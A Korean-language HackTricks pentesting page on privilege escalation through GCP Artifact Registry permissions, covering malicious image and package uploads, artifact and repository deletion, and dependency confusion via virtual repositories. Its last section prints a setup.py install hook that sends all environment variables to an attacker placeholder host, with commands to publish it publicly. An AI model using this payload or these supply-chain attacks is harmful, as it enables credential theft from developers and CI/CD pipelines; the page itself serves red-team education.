GCP - Artifact Registry Privesc

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Artifact Registry

Artifact Registry에 대한 자세한 정보는 다음을 확인하세요:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

이 권한을 가진 공격자는 Docker images와 같은 악성 코드를 포함한 아티팩트의 새 버전을 업로드할 수 있습니다:

Upload Docker image to Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> 기존에 존재하는 것과 동일한 이름과 태그로 **새로운 악성 docker 이미지를 업로드하는 것이 가능**하다는 점이 확인되었으므로, **기존 이미지는 태그를 잃게** 되고 다음 번에 해당 태그의 이미지를 **다운로드하면 악성 이미지가 다운로드됩니다**.

<details>

<summary>Python 라이브러리 업로드</summary>

**업로드할 라이브러리 생성으로 시작합니다** (레지스트리에서 최신 버전을 다운로드할 수 있다면 이 단계는 건너뛸 수 있습니다):

1.  **프로젝트 구조 설정**:

- 라이브러리용 새 디렉터리를 생성합니다(예: `hello_world_library`).
- 이 디렉터리 안에 패키지 이름으로 다른 디렉터리를 생성합니다(예: `hello_world`).
- 패키지 디렉터리 내부에 `__init__.py` 파일을 생성합니다. 이 파일은 비어 있어도 되고 패키지 초기화 코드를 포함할 수도 있습니다.

<details>
<summary>Create project structure</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. 라이브러리 코드 작성:
  • hello_world 디렉터리 안에 모듈용 새 Python 파일을 생성합니다(예: greet.py).
  • “Hello, World!” 함수를 작성합니다:
Create library module
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. setup.py 파일 생성:
  • hello_world_library 디렉터리의 루트에 setup.py 파일을 생성합니다.
  • 이 파일은 라이브러리에 대한 메타데이터를 포함하며 Python이 어떻게 설치할지 알려줍니다.
Create setup.py file
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

이제 라이브러리를 업로드합시다:

  1. 패키지 빌드:
  • hello_world_library 디렉터리의 루트에서 다음을 실행합니다:
Build Python package
python3 setup.py sdist bdist_wheel
  1. twine 인증 구성 (패키지 업로드에 사용됨):
  • twine이 설치되어 있는지 확인합니다 (pip install twine).
  • 자격증명을 구성하려면 gcloud를 사용합니다:
twine로 패키지 업로드 ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. 빌드 정리
빌드 아티팩트 정리 ```bash rm -rf dist build hello_world.egg-info ```

Caution

이미 존재하는 것과 동일한 버전의 python 라이브러리를 업로드하는 것은 불가능하지만, 더 높은 버전을 업로드할 수 있거나(작동한다면 버전 끝에 .0을 추가), 또는 마지막 버전을 삭제하고 새 버전을 업로드할 수 있습니다(필요 권한: artifactregistry.versions.delete):

아티팩트 버전 삭제
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

이 권한으로 아티팩트를 다운로드하고 민감한 정보취약점을 검색할 수 있습니다.

Download a Docker image:

Artifact Registry에서 Docker 이미지 다운로드 ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

**python** 라이브러리 다운로드:

<details>
<summary>Artifact Registry에서 Python 라이브러리 다운로드</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • 원격 레지스트리와 표준 레지스트리가 가상 레지스트리에 혼합되어 있고 패키지가 둘 다에 존재하면 어떤 일이 발생하나요? 이 페이지를 확인하세요:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

레지스트리에서 docker images 같은 아티팩트를 삭제합니다:

Artifact Registry에서 Docker 이미지 삭제 ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

레포지토리 전체 삭제(내용이 있어도):

Artifact Registry 리포지토리 삭제 ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

이 권한을 가진 공격자는 앞서 언급한 리포지토리 공격들 중 일부를 수행할 수 있는 권한을 자신에게 부여할 수 있다.

Pivoting to other Services through Artifact Registry Read & Write

  • Cloud Functions

Cloud Function이 생성될 때 새 docker image가 프로젝트의 Artifact Registry로 푸시된다. 나는 이미지를 새 것으로 수정하려 시도했고, 현재 이미지를 삭제(및 cache 이미지도)까지 해봤지만 아무런 변화가 없었고, Cloud Function은 계속 작동했다. 따라서, 버킷과 마찬가지로 Race Condition 공격을 악용해 실행될 docker container를 변경할 수 있을지도 모른다. 그러나 저장된 이미지를 단순히 수정하는 것으로는 Cloud Function을 손상시키는 것은 불가능하다.

  • App Engine

App Engine이 Artifact Registry 안에 docker images를 생성하긴 하지만, 이 서비스를 내부의 이미지를 수정하고 App Engine 인스턴스를 제거(즉, 새 인스턴스가 배포됨)해도 이미지 내부를 수정하더라도 실행되는 코드는 변경되지 않는 것으로 테스트되었다.
buckets와 마찬가지로 Race Condition 공격을 수행하면 실행되는 코드를 덮어쓸 수 있을 가능성은 있지만, 이는 테스트되지 않았다.

artifactregistry.repositories.update

공격자는 이 문제를 악용하기 위해 특정 Artifact Registry 권한이 필요하지 않으며, 오직 취약한 virtual-repository 구성만 있으면 된다. 이 상황은 가상 리포지토리가 원격 public repository(e.g., PyPI, npm)와 내부 리포지토리를 결합하고 원격 소스가 동일하거나 더 높은 우선순위를 가질 때 발생한다. 둘 다 동일한 이름의 패키지를 포함하면 시스템은 가장 높은 버전을 선택한다. 공격자는 내부 패키지 이름을 알고 해당 public registry에 패키지를 퍼블리시할 수 있기만 하면 된다.

artifactregistry.repositories.update 권한이 있으면 공격자는 가상 리포지토리의 upstream 설정을 변경하여 의도적으로 이러한 취약한 구성을 만들고, 개발자나 CI/CD 시스템이 자동으로 설치할 수 있는 악성 패키지를 삽입하여 Dependency Confusion을 지속성 수단으로 사용할 수 있다.

공격자는 내부 패키지의 악성 버전을 public repository에 더 높은 버전 번호로 생성한다. Python 패키지의 경우, 이는 정품 패키지와 유사한 패키지 구조를 준비하는 것을 의미한다.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

그런 다음 설치 중에 실행될 악성 코드를 포함하는 setup.py 파일이 생성됩니다. 이 파일은 private repository에 있는 버전보다 높은 버전 번호를 지정해야 합니다.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

패키지를 빌드하고 wheel 파일을 삭제하여 설치 과정에서 코드가 실행되도록 하세요.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

악성 패키지를 공개 저장소(예: Python의 test.pypi.org)에 업로드하세요.

pip install twine
twine upload --repository testpypi dist/*

시스템이나 서비스가 가상 저장소(virtual repository)를 사용해 패키지를 설치할 때, 악성 버전의 번호가 더 높고 원격 저장소의 우선순위가 같거나 더 높기 때문에 정상적인 내부 저장소 대신 공개 저장소에서 악성 버전을 다운로드합니다.

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기